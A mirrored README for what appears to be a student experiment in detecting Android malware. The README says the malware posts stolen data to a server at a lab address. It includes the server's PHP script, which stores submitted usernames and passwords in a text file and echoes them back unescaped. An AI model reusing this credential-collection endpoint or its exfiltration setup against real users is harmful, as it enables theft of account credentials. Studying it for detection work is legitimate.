Giter VIP home page Giter VIP logo

detectmalware's Introduction

This project is the experiment of detecting malware in the android platform. The malware in this project will send a post http package to the server.(default is http://10.0.0.12/computersecurity/test.php)

Author: Tao Zhang

Install steps:
1. Install eclipse for android development, apache server with php configuration to the php code in the server side.
2. Download all the source code and configure a android phone simulator.
3. Use a html post form to test he php code in the server side.
4. Reset the website url in the sendInformation function.
5. Run the project




the test.php code:
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
<br>
You have $ <?php echo (int)$_POST['money']; ?> in your account.
<br>
Your username is <?php echo $_POST['username']; ?>.
<br>
Your password is <?php echo $_POST['password']; ?>.

<?php
$file = 'peopleInfo.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "name: ".$_POST['name']."\r\n";
$current .= "money: ".$_POST['money']."\r\n";
$current .= "username: ".$_POST['username']."\r\n";
$current .= "password: ".$_POST['password']."\r\n";

// Write the contents back to the file
file_put_contents($file, $current);
?>

detectmalware's People

Contributors

windse7en avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.